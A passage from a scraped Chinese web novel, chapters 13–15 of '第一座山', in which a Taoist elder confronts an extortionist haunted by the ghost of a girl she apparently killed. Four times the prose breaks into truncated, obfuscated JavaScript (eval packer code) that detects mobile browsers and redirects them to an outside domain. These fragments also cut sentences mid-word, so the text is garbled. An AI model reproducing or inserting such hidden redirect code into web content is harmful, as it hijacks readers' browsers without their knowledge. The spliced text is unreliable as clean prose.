l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608378|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个保安跑到了那个女人身旁,推了推她,她仍旧装出昏睡的样子一动不动,二人无奈,只得一前一后,准备把她抬走,可是手刚碰到这个女人,她就像是触电一样,身子一扭,坐了起来。 “别碰我,两只看门狗,也配碰我?真是恶心!小心我报警抓你们,告死你们!” “李小姐,你这样也没有用,薄总不在国内,小薄总脾气是好但他也没有决定权,你找他没用啊!你不能这样死缠烂打的啊……” “是啊!也不看看现在几点,闹什么?” 两个保安苦口婆心的劝着,这位李小姐好似油盐不进。 车内,薄临闭着眼像在休息,姜满看看他,又看看车外,心里的烦躁逐渐放大,拉开车门,跳下了车。 那女人显然知道车里还有别人,但看到姜满还是吓了一跳。 此刻的姜满实在不体面,身上脏兮兮的,还有血污,着实吓人。 姜满俯视着这个女人,近看之下,只觉得她妆容虽厚,皮肤也不好,但模样生得还算不难看,不过,她整个人的气质莫名透出一股令人生厌的感觉。 “你、你你想干什么?”那女人身子往后缩了缩。 两个保安见姜满从车上下来,知道她与小薄总关系自然不一般,内心虽然好奇,但还是负责地走到姜满身旁,低声道:“小姑娘,这事你还是别管,上车和小薄总等着吧,免得沾了一身腥。” 姜满微微挑眉,她什么人没见过,还会怕一个女的? “我这一身也够腥的了,再沾一点也无妨。她是什么人?” “她叫李妆娇,是来……要钱的。” 所以,药就是钱,那么病人呢?姜满打量着李妆娇,大概明白了。 “蠢货。”姜满低低自语道。 李妆娇离得不远,自然听见了,她皱起眉头,看了看车内没什么反应的薄临,似乎觉得姜满也不是什么重要角色,于是站了起来,“你这个脏东西,你是薄家资助的大学生吧?” 她上下打量着姜满,冷笑一声,“想靠着你这张脸勾引阿临?别做梦了!贱货!你这破烂身子,勾引过多少男人?你也配!” “李小姐,你话也说的太难听了,人家姑娘也没招惹你,你再这样,我们就要报警了。”保安挡在了姜满面前,有些生气了。 “你报啊你报啊!正好让警察来评评理,我被车撞了,该赔我多少钱!不过,这都是我们自家的事,我和阿临什么都好说,但是你们,深夜对我动手动脚!还有这个贱人,对我言语辱骂!赶紧让警察来!把你们都抓走!” 姜满一直冷眼看着,没说话。 倒不是她脾气好,只是她听到了几个字眼:“阿临”、“自家”。有些面子,看在薄临出钱出力的份上,也不得不给,但是,这个女人真的是薄临的自家人? 一直没动作的薄临叫了一个离他近的保安,耳语了几句,然后又恢复了闭眼休息的状态。 那保安跑到了姜满身旁,传话道:“小薄总说了,他和这个李妆娇一点关系也没有,让你不必顾及他。” 姜满闻言,回头看了薄临一眼。 这是拿她做枪? 李妆娇盯着姜满,然后指向那个挡在姜满面前的保安,命令道:“我饿了,你去薄宅吩咐下去,给我准备点吃的。” 那保安没动,转头看了看另一个保安,又看了看薄临,见薄临还是闭着眼没什么反应,他有些犹豫。 他知道,之前,李妆娇的确经常去薄家吃饭,他有些拿不准主意。 “快去啊!狗东西!守在这儿有什么用?畜牲玩意!不听我的,我就睡在这儿,今儿谁也别想走!” 那保安想去问问薄临,挪了脚。 “你这个贱人!”李妆娇终于找到机会,扬起手就要给姜满一巴掌—— 13. 第一座山(13) 一个小时前。 在薄家附近的李妆娇正打着瞌睡,她已经很久没睡过一个安稳觉了,自从一周前,薄总的助理给她发来消息,声称小薄总愿意和她谈谈。 后来,她见到了小薄总,但小薄总给她的答案是,这么多钱,他没有决定权。 李妆娇想不明白,归山集团将来都是小薄总的,他有什么决定不了的,而且,他可以打电话给薄总啊!薄总肯定会同意的,可是小薄总再也没见她。 她知道,阿临在生气,气她太久没和他联系,对于阿临,她是愿意服个软道个歉的,但像阿临这样的男人,未免心高气傲,她犹豫了一下,还是没道歉,她总要让他知道厉害。 但是一周过去了,阿临竟然忍了一周没有和她联系,她打电话到薄家,他也不接。 李妆娇住到了薄宅附近的酒店,她决定,主动找他道歉,但那些狗眼看人低的看门狗竟然不让她进去,不过无所谓,她知道,阿临不在家。 然后,她躺在酒店床上刷剧刷得昏昏欲睡的时候,收到了她安插在薄家的“眼线”发来的消息: 小薄总外出有事,一个小时之后就到薄宅庄园路。 她精心打扮,从小路溜进庄园路,想给阿临一个惊喜。 她通过“眼线”给她分享的庄园路路口的监控视频,等待着阿临的归来,但她却看见了一个女的。 这辆车肯定是阿临的,她知道,他有很多车,可这个女的是什么人?夜视功能的监控看的并不清楚,但只凭感觉也能知道这女的肯定没什么魅力,难道是司机?不,不像,他们在换位置,这个贱人竟然敢坐在副驾! 李妆娇气坏了,她决定给阿临长长教训! 于是,她看准了时机,从灌木丛中窜出来,她离他车很远,但是她没想到,薄临似乎走神了,看见她的时候受了惊,车撞到树上了。 李妆娇赶紧躺下,心中暗自下定决心,不管出没出事,她一定要一口咬定,她被撞了,所以她不能动。 然后,事态的发展有些出乎她的意料,可是,不论如何,这个敢坐在副驾的贱人!仗着自己有几分姿色的破烂货!不得不教训! 李妆娇扬起手狠狠对着姜满的脸,落下一巴掌—— 她感觉自己脚踝一痛,崴了一下,巴掌歪了,落了空,带得她一个趔趄,好不狼狈。 姜满早已侧身躲避,却也没料到李妆娇会崴脚。 她微微蹙眉,有些不高兴了,然后舒展开来,神情恢复平静,她比李妆娇高半个头,缓缓向李妆娇走近,然后从包里拿出剪刀,非常有压迫感。 李妆娇盯着姜满手里的剪刀,脑海里满是姜满身上的血污,浮想联翩之下,有些害怕了,“你、你你想干什么?想杀人吗?你要是敢动我,我、我做鬼也不会放过你的!” 她往后退着。 姜满伸手按住她的肩膀,凑到她耳边,轻声说道:“姑娘,你惹错人了,我不是杀人的,我是专门对付……鬼的。” 说着,她拿起剪刀,从李妆娇耳边剪下一缕头发,然后退后一步,看着手里的头发,“你惹错了人,也选错了时间,我正好心情不佳,但我向来习惯给人机会,现在也不例外,要么,你滚,要么,我找几个鬼,缠着你。” 李妆娇被吓住了,她左顾右盼,然后看向那两个保安,又看了看车里闭目养神的薄临。 两个保安听到姜满的话,神情不太自然,其中一个更是抿起嘴,像在极力压制住想笑的冲动,发现李妆娇看到他,立刻撇开头。 李妆娇皱着眉,再度打量起姜满,然后,竟放声大笑起来,“哈哈哈……” 一个年纪不大的小姑娘,看起来有几分气势,不过她的话也太荒谬了!这世界上会有鬼?这种桥段她在电视上看过,肯定是唬人的! 姜满闭了闭眼,极力压制自己想要揍人的冲动。她有可能会失手揍死这个人。 这人肯定不能整死,更恶心的是,这种人的周围,反而不会有灵敢靠近,要给她找点真麻烦,倒是不容易。 她看向李妆娇的身后,弯起嘴角,真麻烦不容易,假的却一点也不难。 “李妆娇,李妆娇,李妆娇。”姜满缓缓念了三遍她的名字,然后把她的头发拎了起来,往左转三圈,往右转三圈,她开始不出声,只动嘴,反复念叨:“有仇的报仇有怨的报怨,速速前来,机不可失,速速前来……” 其实,这套动作和说辞,都是她现编来吓唬李妆娇的,基本上毫无意义,但鬼,的确跟在李妆娇身后,只是离得很远,似乎不敢接近。 “你干什么呢!还敢在这儿得瑟?我——”李妆娇看着姜满的脸,恨不得撕了她,又一次扬起巴掌,“哎呦——你竟然敢踢我!你这个贱人!破烂货!哎呦……”她惊呼一声,往后仰去,跌坐在地,叫骂呼痛声不止。 是的,这次姜满可不惯着她,抬脚给她蹬开了。 姜满走到她旁边,俯身看她,“李妆娇,你认得……姚雪菲吗?” 李妆娇正吃痛摸着屁股,显然姜满这一脚,力不在蹬,而在推,李妆娇跌得屁股生疼。 她听到姜满的话,忽然不喊疼了,警觉地看向姜满。 姜满笑了,指了指她背后,低声说:“她被我招来了,就在你身后,她告诉我,她叫姚雪菲,是被你,害死的。” 李妆娇脸色变了,她感觉自己后背一阵发寒。 姜满歪了歪头,“滚吗?你现在滚,她还是会跟着你,但是你不滚,我就让她以牙还牙,以眼还眼。” “你敢!”李妆娇瞪着姜满,强装镇定,冷笑道:“你这贱人根本没这个本事,你就是从哪听说了这个名字,在这儿欺负我!这世上根本就没有鬼!” 姜满撇撇嘴,转身往车子副驾走去,上车前转头,对着她晃了晃手里的那撮头发,“不信,你就试试。” 说完,她上了车,关上了门。 薄临睁开眼,他看起来很疲惫,或者,很疼。 “张云汉和程书韫到了,我让人开了门,他们已经在过来了。” 姜满瞥了一眼他的肩膀,显然他的伤口撕裂了,一周前被贯穿,幸运的是没有伤到骨头,但一周的时间这样的伤也不可能愈合的,伤筋动骨一百天,刚刚的车祸虽然不大,但也足以让他饱尝痛苦了。 “对付这种人,你就喊两个人来?你是疼傻了?”姜满心里的烦闷半点没有减轻。 薄临脸上的笑有些苦涩,“她以前是我们家资助的孩子,山里出来的,学习成绩也不错,她高中的时候考来了檀州市,后来,她和几个被资助的学生一起受邀参加归山集团慈善活动,结束后,父亲便带他们来家里吃饭,也不知为何,从那时起,她就有些变了,变得……” 他说的很慢,也很轻,他试图向她解释,他的处境并不能对李妆娇做出什么过分的行为。 “变?人是不可能突然变坏的,她没变,只不过原来是憋着坏罢了。” 姜满看着车外正对两个保安骂骂咧咧的李妆娇,这个人一瘸一拐的走着,留下两个保安忙着车祸善后,她显然已经打算离开了,不管是不是因为姜满的恐吓,总之,算是解决了麻烦。 等等! 姜满瞬间回过头,果然,不出她所料,撞见了! 银色老旧小轿车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635970|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾驶位的程书韫没动,副驾的张云汉下了车,扶住了屁股受伤的李妆娇。 “姑娘,你没事吧?” 由道玄僧玄两支玄门教养出来的张云汉,显然是个大好人。 李妆娇早就有了主意,眼珠一转,身体软软地靠在了张云汉的身上,“我头好晕……” “怎、怎么了?发生什么事了?”被她这么一靠,张云汉有些无措起来,他心虚的回头看了看程书韫,脸逐渐涨红了。 越野车内,姜满很是烦躁,“就不应该来这儿。”她实在讨厌变数,讨厌不可预知的麻烦。 薄临看了一眼左侧的后视镜,他的气色还是很难看,苍白着脸,对车窗外的保安交代了几句,让他们赶紧把李妆娇带走。 这边的李妆娇翘起手指,扶着额头,“我是来薄家处理一些事的,然后,被那车撞了……不过,我伤得不算重,我和阿临是自己人,阿临他好像也受伤了,一直在车里没露面,我本来也不打算追究的,可是……”她悲戚戚地看向姜满的车,“刚刚那个车上有个女孩,不仅不让我与阿临见面,而且,好像会招鬼,她想赶我走,然后竟然真的把鬼招来了,我好怕……” 张云汉皱起眉头,他和程书韫自然看到了歪在道旁的姜满的车,知道肯定是出了什么事,所以本就是要停下的,这个姑娘说的女孩,肯定是大长老,不过,招鬼吓人? 他是好人不假,可他觉得,大长老不会这么做吧…… 李妆娇暗暗观察着张云汉的表情,见他好像是不太信,于是接着说道:“我也不知道怎么得罪了那个女孩,她、她好像很讨厌我,不仅骂我蠢,还……” 她捂住自己的脸颊,几乎快哭出来了,“还打了我一巴掌,而且……把我踹倒在地,我,我……这都是真的,不信,不信你……问他!” 说着,正好那保安过来了,李妆娇立马上前拉住了保安,“你说,刚刚那车里的女孩,是不是把我踹倒在地了!” 张云汉脑海里浮现出姜满那张带着蔑视神情的脸。 蠢……这个字很熟悉,大长老也这么说过他,像是大长老的风格。至于动手打人…… 他看向保安。 保安年纪不大,看起来是个诚实可靠的小伙子,被李妆娇一拉,好像有点没回过神来,愣愣地眨着眼。 李妆娇撅着嘴,娇嗔道:“你说啊,她是不是踹我了!” 保安皱着眉,“嗯……她是踹你了,但是,那是因为你想——” 李妆娇打断了他,身体又靠在了张云汉身上,一副站不稳的样子,“你现在相信我了吧?” 张云汉感觉事情不太妙,他回头看了看程书韫,见她没有要下车的意思,前面接连传来两声车门关上的声响,姜满和薄临下车了。 “那……我帮你叫救护车?”张云汉拿出手机,然后又指了指薄临,“还是,你和薄临先生好好叙旧?” 他记得,这个姑娘跟他说,姜满不让她见薄临,哦,她称呼他为阿临……这个情况好像有点复杂,豪门爱恨纠葛?不像。是亲戚?也…… “张云汉!”姜满喊了一声,语气带着满满的暴躁。 她的车需要拖车来拉走维修,这个时间只能先放在这儿,她和薄临准备坐程书韫的车去薄宅。 李妆娇显然有些害怕姜满,不由的往张云汉身后缩了缩。 张云汉听到姜满叫自己的名字瞬间,下意识反应,推开了李妆娇,像被抓现行的小媳妇,尴尬地收手机,理衣服,挠头,推眼镜,看起来很忙,然后朝姜满挥手,“哎!我、我在这儿!” 人在尴尬的时候,就会莫名变得很忙。 14. 第一座山(14) 姜满的视线越过张云汉,看见差点又摔倒的李妆娇。 这个女人害怕了,很明显,因为她身后远远跟着的叫做姚雪菲的灵,能靠近她了。 这是一个怨灵,已经非常像人了,怨气很深,之前姜满没有和它说话,只是隐隐听到了声音:我叫姚雪菲,我要找李秀娟报仇…… 姜满不知道李秀娟是谁,但怨灵的眼神没离开过李妆娇。 之前,在姜满言语恐吓之下,李妆娇有过片刻的惧意,姜满一边观察一边猜测,于是得出是李妆娇害死了姚雪菲的结论。 眼前这个可以用一句话的反复念诵来加深执念的怨灵,比通过幻境加深执念的怨灵,更厉害,一旦能化为实体,则大凶。 它有着灰白的皮肤,短得像姜满熟悉的那个时代的男生头发,剪的如同鸟窝一般参差不齐,但它是女生,生前。此刻它整个身体还有着接近百分之二十的透明度,已经是怨灵中很罕见的了,它浑身散发着骇人的寒气,空洞漆黑的双眼锁定在李妆娇身上,口中反复念着它的执念。 “你要和她说两句吗?”姜满看看薄临,又拿眼神点了点不远处的李妆娇。 薄临笑了笑,轻声说:“小心些,她可能比你想象的难对付。” 说罢,他往前走去,绕过张云汉和李妆娇,坐上了程书韫的车。 姜满走近了,看了看张云汉。 他的精神状态恢复一些了,但一晚上让他超度三个…… “大长老,您……”张云汉迎上来,“你们这是又出车祸了?您没事吧?” 那保安走了过来,和张云汉姜满靠在一起,想说些不让李妆娇听到的话。 他压低声音:“姑娘,你们都是小薄总的客人,还是赶紧上车吧,这个李小姐可不好惹,说不定身上还带着摄像头呢!我们以前不知道吃过多少亏,薄家也是倒霉,遇上这么个人,唉……” 姜满听到了摄像头三个字,她看看张云汉,“什么意思?” 那保安说:“之前,她就偷偷在身上按了摄像头,把这儿几个保安前辈将她强行拖走的视频发上网了,后来事情闹得很大,那几个前辈都被辞退了,薄家也受到了舆论影响,反正……挺无奈的。” 姜满明白了。 的确,她可以通过报纸杂志和各种书去了解这个三十年后的世界,但很多事,她毕竟不熟悉,比如这个可以随身携带的摄像头,还有视频发上网。 难怪薄临不肯露面,还和她说什么……比想象中难对付。 一周的相处,对于薄临这样的聪明人,察觉出姜满对许多事物认知的落后,是很容易的。 李妆娇过来了,她问张云汉,“你叫她什么?大长老?” 张云汉早就意识到事情不简单,而且薄临看都不看这个称呼他“阿临”的姑娘一眼,就上车了。 此刻听到李妆娇的问话,他感觉自己汗流浃背。 掌门反复交代过,不能让别人知道大长老的身份,虽然现在已经有一个什么巫玄知道了,也不晓得是不是他保密工作做的太差泄露出去的……但事情有可能在此变得更糟。 “她……网名、对,她的网名叫大长老,我们都习惯这么叫她。”张云汉灵机一动,解释道。 “这么难听的网名……”李妆娇忽然松开了拽住张云汉的手,一脸防备,“你们……你们是一伙的?” 姜满把张云汉拉到身旁,看向李妆娇,“你身上那个摄像头,在拍吗?” 李妆娇一愣,然后得意洋洋地笑了,“你现在知道了?晚了!我会把你这张脸发到网上,让所有人看清楚你这个贱人的嘴脸!一个靠勾引男人来赚钱的大学生!穿得像垃圾堆里爬出来的,一身的经血,还用那些什么鬼来吓我!你现在跪下来求我都没用!” “你能让多少人看到?”姜满对她说的那些“威胁”与污言秽语毫无反应,淡淡问道。 李妆娇冷笑一声,对姜满这种死到临头故作淡定的做派,感到恶心。 “你想象不到的多!我上一次的视频可是千万浏览量!这次我再加上灵异标签,现在的人对这种话题很感兴趣,你要完了!” 姜满笑了,她把张云汉拉近了些,“你听好,我叫姜满,是天一道避世三十年不出的那位大长老,旁边这位是天一道云字辈弟子,我的小道童,三天后,也就是大暑那天,我受邀去麓川九黎寨,那些巫玄将会知道长生之法的秘密。” 李妆娇愣住了,她好像完全听不懂姜满说了些什么,但她很快反应过来,“你胡说八道什么呢!避世三十年?你才多大!说谎也不打草稿吗?” 她认为自己向来聪明,擅长抓重点,譬如学习好不好不重要,重点是考试,只要考试成绩好,无论作弊还是找人代考,她都是优等生。 姜满放开一脸懵的张云汉,走近李妆娇,捏住她的脸,逼她直视着自己的眼睛。 她的手劲很大,或者说,她整个身体素质都异于常人,这也是她轻易不会动手揍人的原因。 李妆娇有些惊恐,两颊被捏得生疼,让她没有办法正常说话,她想挣脱,却发现眼前这个女人的力气超乎寻常的大。 “你可以猜猜看,我到底多少岁。李妆娇,我要你把我刚刚说的话,一字不落的发到网上,用你本就不多的脑子,想尽办法让更多人看到,否则,我会让你体验一下,我是不是真的能让姚雪菲,报仇。” 说完,姜满几乎是捏着她的脸将她拖走,打开车门,把她摔进了程书韫的车里,然后自己也坐了进去,和薄临一左一右,把李妆娇夹在了中间。 薄临脸上闪过一丝嫌恶,往车门边微微挪了挪,试图离这个女人远些,但他的教养让他做的很不明显。 李妆娇还没回过神来,她完全不能理解姜满的意思,她开始觉得,姜满有可能,是个疯子。 姜满低头看了看自己的手,然后在李妆娇的裙子上擦了擦,接着打开车窗,对还在发愣的张云汉说:“上车。” 她看得出来,现在的张云汉,恐怕是没能力再超度一个的。 不过,不急,她有的是时间。 程书韫通过中间的后视镜看了一眼李妆娇,什么也没说,等到张云汉坐上副驾,车子缓缓开动,往山路尽头的薄家开去,留下两个保安处理后续。 天色微微发白,薄家的房子逐渐在绿意交映中显现。 这像是一栋修在园林中的房子,房子很大,一眼看不完的四角飞檐,高高低低,灰瓦白墙,中式的双开宅门,山水在宅中也在林中,旁边是一方打理整齐的草坪,靠着路的地方有几团修剪整齐的圆形灌木,草坪里有几棵树,高矮大小不一,品种也不尽相同。 草坪对面就是一个临时停车场,大概可以容纳四五辆车,不到这里还有一处地下停车场的入口,但薄临让他们直接开上来。 下了车,姜满看向李妆娇,“自己走还是,要我帮你?” 李妆娇白了姜满一眼,心里有些怕她,又不想让她得意,于是大摇大摆地当先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665981|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走向薄宅,就好像回自己家一样。 张云汉赶紧跑到姜满身旁,低声问道:“大长老,您这是……” “看住她,别让她找事,她身上有一个怨灵的怨念,另外,好好照顾你自己的身体,等我让你超度的时候,你最好还像今天这么有用。”说完,姜满跟了上去。 张云汉留在原地,有些愣神。 程书韫走到他身旁,“云汉师兄,你怎么了?” 张云汉摇摇头,“没事,就是感觉不太好,好像惹了很大的麻烦。” “你是说刚遇见的那位李小姐?” 张云汉仍旧摇头,像是在自言自语,“有大长老在,除了大长老本人,应该没人能惹麻烦。” 程书韫看了看他,什么也没说,跟着几人走进了薄宅。 薄宅门内的景致没有想象中的富丽堂皇,但明白人都知道,这样的亭台水榭、山石造景,清丽雅致之余,造价定然不菲,结合薄临儒雅的气质,这样的地方,才配为归山集团公子的家。 薄临来到姜满身旁,“你打算做什么?” 姜满的视线落在他的肩膀上,“你也需要把你的身体照顾好,毕竟,你不是想成为我的‘专属银行’吗?” “专属银行?”薄临失笑道:“也许称为‘提款机’更恰当,银行需要的手续太多了,我可以随时给你提供你需要的一切物质条件,而且,不仅仅是钱。” “钱难道买不来我要的物质吗?”姜满不以为然,“我记得以前买机票需要提供许多证明,现在应该不用了吧?” “当然,现在一切都很方便。”他并没有问姜满说的以前是什么时候。 姜满点点头,“嗯,你订几张去麓川的机票,这两天把需要准备的材料什么的收好,今天来的所有人都要,包括你。” 薄临笑了,“你同意了?” 姜满耸耸肩,“我没有理由拒绝。” 显然,这样大的房子里房间不会少,薄临安排好几人的房间后,回到了自己的房间,即便不太情愿,但他也给李妆娇安排了房间。 几个人中,最兴奋的莫过于李妆娇,这是她第一次住进这个房子,这更加坚定了她的打算。 不过,她也感觉有些不爽,因为姜满就住在她旁边的房间,自从这个贱人提到了姚雪菲,她总感觉自己有些莫名的发寒,好像真的有什么鬼在她周围似的。 姚雪菲……这也是个贱人,活着她不怕,死了也没什么好怕的,而且,又不是她害死的,姜满这个贱人根本什么都不知道,就是不晓得这疯子到底是从哪儿听来的姚雪菲的名字,真是麻烦! 不过,李妆娇并没有烦恼太久,她认为,疯子也好傻子也罢,这些人都会被她玩弄于鼓掌之中,毕竟,她可是李妆娇啊! 一天后的下午,一行五人前往檀州市机场,准备乘坐晚上七点十分的飞机,出发去麓川市。 “我为什么要去!你们想把我卖了吗?我不去!我要报警!我……”叫嚷了一路的李妆娇在下车的最后一刻,仍在奋力抵抗。 姜满看向程书韫,程书韫点头,按照早已答应姜满的,在李妆娇的背后贴了一张符,那张符瞬间成灰,下一瞬,李妆娇变得安静,像一个失去神志的傀儡,呆呆的看着前方,任人摆弄。 “拍下来。”姜满对张云汉说道。 张云汉点点头,拿出了手机。 这两天的接触让他彻底认识了李妆娇,他不得不佩服,对付无赖,还是大长老有法子。 15. 第一座山(15) 麓川的气候温度比檀州舒服很多,温暖湿润,但昼夜温差较大,几人出了麓川机场,已经是夜里十一点了。 姜满一路戴着墨镜口罩,并且要求眼镜男张云汉也戴上了帽子和口罩。 李妆娇的视频,于一天前按照姜满的要求剪辑完成,在姜满的监视下成功发出去了,很多不明真相的人将此当做是演戏,但姜满知道,玄人不会这么想,但是有多少玄人会信,她就无法预估了。 她和张云汉的脸已经被很多人看见了,所以,在去往九黎寨的这条路上,她暂时不想被认出来,增加不必要的麻烦。 她并不觉得像李妆娇这样的人有多难对付,但跟着李妆娇的那个怨灵,却有些棘手。 姜满原打算等张云汉休养结束,就把这个怨灵的记忆套出来,然后再进行超度。可这怨灵曾经是人,她不确定它留有多少人的记忆,也不确定能被她套出来的记忆,是否是属于这个怨灵的完整记忆,一切远比想象中更麻烦。 既然人死了,能算做记忆死了,[空音]会判定姜满杀死了记忆,那么,灵的记忆相较于生前,必然不完整。 当然,姚雪菲的棘手之处不仅在此,它一直游离在李妆娇附近,只会念叨属于它的咒语,无法和任何人交流,这就让人无从下手。 李妆娇显然不可能主动认罪,更不可能按照怨灵姚雪菲的要求赎罪。 现在,它还不能靠近李妆娇,距离也忽远忽近,没有定数。 寻常怨灵无法靠近恶人,更无法伤到害死自己的人,就像戴阿福起初察觉到有灵围绕在戴志伟附近,但那时的阿福不知道,即便它什么也不做,那些灵也没办法伤害他的爸爸。 但是,一旦这怨灵成为大凶,即可伤害任何人,并且成为只知道杀人的恶灵。 姚雪菲的灵体一天天在实化,等到它成为恶灵,虽然那时的它还是属于怨灵,却不是那么好超度的了。 姜满已经了解到,李秀娟就是李妆娇,所以,姚雪菲就是被李妆娇害死的,这一点毋庸置疑,但李妆娇什么都不会说,他们几个也没有办法从李妆娇嘴里套出什么,且目前,姜满没有这个功夫专门去解决这件事。 但是,姜满不会放过这次机会。 两千九百九十九,不是一个小数目,怨灵又不是虫子,虫子也不可能成为怨灵,怨灵并不是随处都有的,而且,破除诅咒这么漫长的过程,什么样的怨灵都有可能遇见,如果这一个放弃了,下一个也会因为各种原因被放弃。 放弃是一种习惯,姜满没有这种习惯。 这是姜满得知方法后,遇到的第一个人死后化为的怨灵,和阿福这样的狗灵完全不同。 阿福因为思念与愤怒成为灵,又因为帮助戴志伟造就无数杀孽而成为怨灵,但阿福的本性是简单的,只因它遇到了一位敢杀人、敢虐鬼的主人,才使它这只单纯无害的狗灵成为了怨灵,人却是复杂的。 姜满认为,这是一次彻底了解破除诅咒之法的机会,她需要找到最稳妥的办法,留住记忆不死。 几人在机场附近吃了点东西,然后等到薄临租的车送到,一起上了车。 这是一辆性能尚佳的越野车,虽完全不及姜满那辆,却也是能租到的最好的、最安全的车了。 由张云汉和程书韫换着开,现在,张云汉是司机。 程书韫解开了加在李妆娇身上的闭窍符术,姜满朝程书韫甜甜一笑,“辛苦姐姐了,好好休息吧。” 程书韫也的确很疲惫,这种持续性的术法最是磨人,她朝姜满点点头,然后上车,坐在副驾位,靠在椅背上闭上眼睛休息起来。 后座依然是薄临姜满,一左一右夹着还有些犯迷糊的李妆娇。 姜满拿出几张纸巾在手里团成团,接着打开手机,张云汉已经把视频发给了姜满,等到李妆娇回过神来准备破口大骂的时候,姜满迅速找准时机,把纸团塞进了李妆娇嘴里,让她说不出话来,“安静点,先看看这个视频吧。” 视频并不长,拍摄了李妆娇的神志被术法困住时所有行走的状态,包括了进入机场、候机楼,下飞机,然后上车。 对李妆娇来说,这段被程书韫闭窍术困住的时间就像不存在一样,不是睡着,也不是清醒但不能动,等同于手术全麻后的过程,她的人生完全失去了这段时间。 李妆娇看完了这段视频,起初怀疑是假的,但她看到了车窗外与檀州市完全不一样的风景,还有路上的车牌、路标,她不得不相信了。 没等她开口,姜满继续说道:“如你所见,我们有的是办法让你听话,所以,你只能听我的。” 李妆娇对姜满的恐惧越来越深,同时,怨恨也越来越深,她这辈子从未如此被动过,她确信,她一定能等到一个机会,弄死这个疯子、怪物。 她把纸团从嘴里拿出来,打开车窗扔了出去,顺势往薄临身上贴近了些,楚楚可怜地看着薄临,“阿临,你为什么要和这种人混在一起,她这么对我,你都不帮帮我吗?你是不是也被她威胁了。” 薄临闭着眼,充耳不闻。 李妆娇瞪了姜满一眼,心里不知在盘算什么,不说话了。 九黎寨位于麓川市西北向,在滇南绳水江经麓川中段的东面,车开了一夜,然后从两边全是树的山景公路拐进了山路。 这是一条去九黎寨的必经之路,原本姜满考虑到那条视频有可能带来的一些不必要的麻烦,想要绕路走的,但查看了地图,因为是开车,绕路的行车风险更大,为安全考虑,还是走的这条原路线。 麓川的大山连绵不绝,风光瑰丽又磅礴,让人只觉自身渺小。 天亮以后,高山峡谷、碧水吊桥,一路过来,张云汉无暇欣赏美景,车路难行,高度集中的精神让他有些疲惫,然后,他看到了荒无人烟的山路旁,有两个人在对他挥手,紧接着,似乎有镜子的反射光找到了他的眼睛。 张云汉推起眼镜揉揉早已干涩的眼睛,似乎怀疑是初升的阳光迷了眼,让他看错了。 “别停。”姜满像是一直没休息过,出声拦住了张云汉的意图。 张云汉的脚已经放在了刹车上,“可是大长老,我……”他想换人开,他觉得,自己需要休息,否则,后面的路,他真的很难保证一车人的安全。 程书韫揉了揉惺忪的双眼醒了过来,她眯着眼看见外面的阳光,然后低头看了看时间,“云汉师兄,停车吧,我和你换。” 姜满的神情变得不耐烦,“张云汉,我说,别停。” 但车速已经慢下来了,那两人其中一个更是看准了这个机会挡在车道上,呈大字型张开双臂,像是死活都得拦住他们这辆车。 张云汉踩下刹车,车子停稳,一车人也都因为这个刹车醒了。 他有些心虚地回头看向姜满,“大长老,寻常人出现在这种地方拦车,肯定是遇到什么难处了,我们能帮,就帮一下,也……无伤大雅吧?” 姜满看白痴一样看着张云汉,“你也知道是‘这种地方’,寻常人是怎么出现在这儿的?还有,帮?怎么帮?让他们坐车顶上?” 张云汉哑口无言,张了张嘴,回过头去,不敢再看姜满。 醒过来的李妆娇眼珠一转,立刻探身打开车窗,正要开口,只觉得后脑勺的头发一紧,一个阴森森的声音传来,“你给我老实点,不然,我们在这山沟里,随便找个地方给你丢下去,你倒是可以选,选是摔下悬崖,还是掉进江里。” 李妆娇缩回头,愤愤地瞪了姜满一眼,却没敢再吭声。 薄临伸出一根手指,推开了李妆娇刻意放在他腿上的手,看向姜满,“大家也都坐了一夜的车了,下来休息一会儿吧,吃些东西喝点水,从檀州市过来,一直都在坐,停车活动活动身体也好。” 仿佛是薄临的开口给了李妆娇勇气,她低声应道:“是啊,我想上厕所!当别人都和你一样,是神经病,疯子,妖怪……” 姜满深吸了一口气,不置可否,但她打开车门的举动,算是认可了薄临的话。 五人都下了车,程书韫也需要方便一下,于是盯住李妆娇的任务就交到了程书韫手里。薄临则在车旁活动身体,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680567|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种程度上来说,他算是这五个人里最没用的,两天的休养对他的肩伤来说,好比隔靴搔痒。 姜满戴上墨镜口罩,把张云汉挂在一只耳朵上的口罩也替他拉上了,然后朝那两个拦路人走去。 